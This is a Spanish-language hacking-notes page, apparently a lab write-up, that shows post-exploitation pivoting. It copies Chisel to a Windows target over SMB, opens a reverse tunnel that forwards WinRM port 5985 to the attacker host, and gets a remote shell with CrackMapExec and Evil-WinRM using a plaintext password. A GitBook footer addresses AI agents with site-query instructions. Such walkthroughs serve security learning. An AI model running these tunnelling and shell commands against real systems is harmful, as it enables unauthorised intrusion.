> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/post-exploitation/pivoting-port-forwarding-5985-winrm.md).

# Pivoting con port forwarding (5985 WinRM)

## Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**Descargando y preparando archivos:**/ Descargamos los comprimidos **Chisel** archivos, a saber:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

Después de extraer los archivos, transfiera el **Chisel** binario al objetivo Windows:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/b6f884b05c83c64681b550cc3a4d7d06025e0814" alt=""><figcaption></figcaption></figure>

**Escuchando en la máquina atacante con Chisel:**/ Inicie **Chisel** en modo servidor en la máquina atacante en el puerto 8888:

```bash
./chisel-linux server -p 8888 -reverse
```

Luego, en la máquina Windows, ejecute **Chisel** en modo cliente y reenvíe el puerto 5985 de vuelta a la máquina atacante:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/70b4148b72cf7a2b8d14a9620a586dc835ee9e68" alt=""><figcaption></figcaption></figure>

**Comprobando el puerto reenviado con `lsof`:**/ Ya hemos verificado que el puerto 5985 se muestra correctamente después de la redirección con el comando:

<figure><img src="/files/af5d8e40d97231b3bf7c49f53a3acab9365668a2" alt=""><figcaption></figcaption></figure>

**Conexión con WinRM:**/ Ahora usamos **CrackMapExec** para probar la conexión a través de **WinRM** en el puerto 5985 redirigido:

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* El **comprometido** el marcador confirma que las credenciales pueden acceder a la máquina a través de WinRM.

<figure><img src="/files/b4d286424daaf349e95ab0957df052ec6665e1ae" alt=""><figcaption></figcaption></figure>

**Conexión final con Evil-WinRM:**/ Finalmente, usamos **Evil-WinRM** para obtener una shell remota como **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/post-exploitation/pivoting-port-forwarding-5985-winrm.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
